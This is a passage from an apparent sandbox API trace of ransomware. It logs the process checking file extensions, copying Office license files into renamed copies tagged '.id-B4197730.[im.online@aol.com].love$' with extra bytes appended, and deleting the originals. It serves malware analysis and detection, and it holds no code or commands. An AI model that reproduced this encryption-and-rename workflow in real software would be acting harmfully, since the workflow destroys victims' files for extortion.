lpString2="m-ms") returned -1 [0254.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0254.776] lstrlenW (lpString=".jpg") returned 4 [0254.777] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0254.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0254.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0254.777] lstrlenW (lpString=".doc") returned 4 [0254.777] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0254.777] lstrlenW (lpString=".docx") returned 5 [0254.777] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0254.777] lstrlenW (lpString=".pdf") returned 4 [0254.777] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0254.777] lstrlenW (lpString=".xls") returned 4 [0254.777] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0254.777] lstrlenW (lpString=".xlsx") returned 5 [0254.777] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0254.777] lstrlenW (lpString=".ppt") returned 4 [0254.777] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0254.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0254.777] lstrlenW (lpString=".zip") returned 4 [0254.777] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0254.777] lstrlenW (lpString=".rar") returned 4 [0254.777] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0254.777] lstrlenW (lpString=".bz2") returned 4 [0254.777] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0254.777] lstrlenW (lpString=".7z") returned 3 [0254.777] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0254.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0254.777] lstrlenW (lpString=".dbf") returned 4 [0254.777] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0254.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0254.778] lstrlenW (lpString=".1cd") returned 4 [0254.778] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0254.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0254.778] lstrlenW (lpString=".jpg") returned 4 [0254.778] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0254.778] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0254.778] lstrlenW (lpString="AccessR_OEM_Perp-ul-oob.xrm-ms") returned 30 [0254.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0254.779] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11587) returned 1 [0254.779] CloseHandle (hObject=0x4e8) returned 1 [0254.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0254.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0254.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0254.780] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.780] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0254.781] GetLastError () returned 0x0 [0254.781] ReadFile (in: hFile=0x4e8, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d43, lpOverlapped=0x0) returned 1 [0254.848] WriteFile (in: hFile=0x548, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0254.849] ReadFile (in: hFile=0x4e8, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0254.849] WriteFile (in: hFile=0x548, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x110, lpOverlapped=0x0) returned 1 [0254.849] SetEndOfFile (hFile=0x548) returned 1 [0254.982] CloseHandle (hObject=0x548) returned 1 [0254.982] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0254.982] SetEndOfFile (hFile=0x4e8) returned 1 [0255.003] CloseHandle (hObject=0x4e8) returned 1 [0255.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0255.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 1 [0255.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0255.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0255.006] lstrlenW (lpString=".doc") returned 4 [0255.006] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0255.006] lstrlenW (lpString=".docx") returned 5 [0255.006] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0255.006] lstrlenW (lpString=".pdf") returned 4 [0255.006] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0255.006] lstrlenW (lpString=".xls") returned 4 [0255.006] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0255.006] lstrlenW (lpString=".xlsx") returned 5 [0255.006] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0255.006] lstrlenW (lpString=".ppt") returned 4 [0255.006] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0255.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0255.006] lstrlenW (lpString=".zip") returned 4 [0255.006] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0255.006] lstrlenW (lpString=".rar") returned 4 [0255.006] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0255.006] lstrlenW (lpString=".bz2") returned 4 [0255.006] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0255.006] lstrlenW (lpString=".7z") returned 3 [0255.006] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0255.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0255.006] lstrlenW (lpString=".dbf") returned 4 [0255.006] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0255.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0255.006] lstrlenW (lpString=".1cd") returned 4 [0255.006] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0255.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0255.007] lstrlenW (lpString=".jpg") returned 4 [0255.007] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0255.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0255.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0255.007] lstrlenW (lpString=".doc") returned 4 [0255.007] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0255.007] lstrlenW (lpString=".docx") returned 5 [0255.007] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0255.007] lstrlenW (lpString=".pdf") returned 4 [0255.007] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0255.007] lstrlenW (lpString=".xls") returned 4 [0255.007] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0255.007] lstrlenW (lpString=".xlsx") returned 5 [0255.007] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0255.007] lstrlenW (lpString=".ppt") returned 4 [0255.007] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0255.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0255.007] lstrlenW (lpString=".zip") returned 4 [0255.007] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0255.007] lstrlenW (lpString=".rar") returned 4 [0255.007] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0255.007] lstrlenW (lpString=".bz2") returned 4 [0255.007] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0255.007] lstrlenW (lpString=".7z") returned 3 [0255.007] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0255.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0255.007] lstrlenW (lpString=".dbf") returned 4 [0255.007] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0255.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0255.007] lstrlenW (lpString=".1cd") returned 4 [0255.007] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0255.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms") returned 80 [0255.008] lstrlenW (lpString=".jpg") returned 4 [0255.008] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0255.008] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0255.008] lstrlenW (lpString="AccessR_OEM_Perp-ul-phn.xrm-ms") returned 30 [0255.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0255.009] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=19932) returned 1 [0255.010] CloseHandle (hObject=0x4e8) returned 1 [0255.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0255.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0255.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0255.010] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.010] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0255.012] GetLastError () returned 0x0 [0255.012] ReadFile (in: hFile=0x4e8, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x4ddc, lpOverlapped=0x0) returned 1 [0255.014] WriteFile (in: hFile=0x548, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0255.016] ReadFile (in: hFile=0x4e8, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0255.016] WriteFile (in: hFile=0x548, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x110, lpOverlapped=0x0) returned 1 [0255.016] SetEndOfFile (hFile=0x548) returned 1 [0255.016] CloseHandle (hObject=0x548) returned 1 [0255.017] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.017] SetEndOfFile (hFile=0x4e8) returned 1 [0255.022] CloseHandle (hObject=0x4e8) returned 1 [0255.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0255.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 1 [0255.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0255.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0255.177] lstrlenW (lpString=".doc") returned 4 [0255.177] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0255.177] lstrlenW (lpString=".docx") returned 5 [0255.178] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0255.178] lstrlenW (lpString=".pdf") returned 4 [0255.178] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0255.178] lstrlenW (lpString=".xls") returned 4 [0255.178] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0255.178] lstrlenW (lpString=".xlsx") returned 5 [0255.178] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0255.178] lstrlenW (lpString=".ppt") returned 4 [0255.178] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0255.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0255.178] lstrlenW (lpString=".zip") returned 4 [0255.178] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0255.178] lstrlenW (lpString=".rar") returned 4 [0255.178] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0255.178] lstrlenW (lpString=".bz2") returned 4 [0255.178] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0255.178] lstrlenW (lpString=".7z") returned 3 [0255.178] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0255.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0255.178] lstrlenW (lpString=".dbf") returned 4 [0255.178] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0255.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0255.178] lstrlenW (lpString=".1cd") returned 4 [0255.178] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0255.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0255.178] lstrlenW (lpString=".jpg") returned 4 [0255.178] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0255.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0255.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0255.179] lstrlenW (lpString=".doc") returned 4 [0255.179] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0255.179] lstrlenW (lpString=".docx") returned 5 [0255.179] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0255.179] lstrlenW (lpString=".pdf") returned 4 [0255.179] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0255.179] lstrlenW (lpString=".xls") returned 4 [0255.179] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0255.179] lstrlenW (lpString=".xlsx") returned 5 [0255.179] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0255.179] lstrlenW (lpString=".ppt") returned 4 [0255.179] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0255.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0255.179] lstrlenW (lpString=".zip") returned 4 [0255.179] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0255.179] lstrlenW (lpString=".rar") returned 4 [0255.179] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0255.179] lstrlenW (lpString=".bz2") returned 4 [0255.179] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0255.179] lstrlenW (lpString=".7z") returned 3 [0255.179] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0255.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0255.179] lstrlenW (lpString=".dbf") returned 4 [0255.180] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0255.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0255.180] lstrlenW (lpString=".1cd") returned 4 [0255.180] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0255.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0255.180] lstrlenW (lpString=".jpg") returned 4 [0255.180] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0255.180] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0255.180] lstrlenW (lpString="AccessR_Retail-ppd.xrm-ms") returned 25 [0255.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0255.336] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=20778) returned 1 [0255.336] CloseHandle (hObject=0x3f4) returned 1 [0255.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 0x220 [0255.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0256.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0256.971] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.971] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0256.973] GetLastError () returned 0x0 [0256.973] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x512a, lpOverlapped=0x0) returned 1 [0256.976] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x5130, lpOverlapped=0x0) returned 1 [0256.978] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0256.978] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x106, lpOverlapped=0x0) returned 1 [0256.978] SetEndOfFile (hFile=0x3c4) returned 1 [0256.978] CloseHandle (hObject=0x3c4) returned 1 [0256.978] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.978] SetEndOfFile (hFile=0x3b4) returned 1 [0256.982] CloseHandle (hObject=0x3b4) returned 1 [0256.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0256.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 1 [0256.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0256.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0256.984] lstrlenW (lpString=".doc") returned 4 [0256.984] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0256.984] lstrlenW (lpString=".docx") returned 5 [0256.984] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0256.984] lstrlenW (lpString=".pdf") returned 4 [0256.984] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0256.984] lstrlenW (lpString=".xls") returned 4 [0256.984] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0256.985] lstrlenW (lpString=".xlsx") returned 5 [0256.985] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0256.985] lstrlenW (lpString=".ppt") returned 4 [0256.985] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0256.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0256.985] lstrlenW (lpString=".zip") returned 4 [0256.985] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0256.985] lstrlenW (lpString=".rar") returned 4 [0256.985] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0256.985] lstrlenW (lpString=".bz2") returned 4 [0256.985] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0256.985] lstrlenW (lpString=".7z") returned 3 [0256.985] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0256.985] lstrlenW 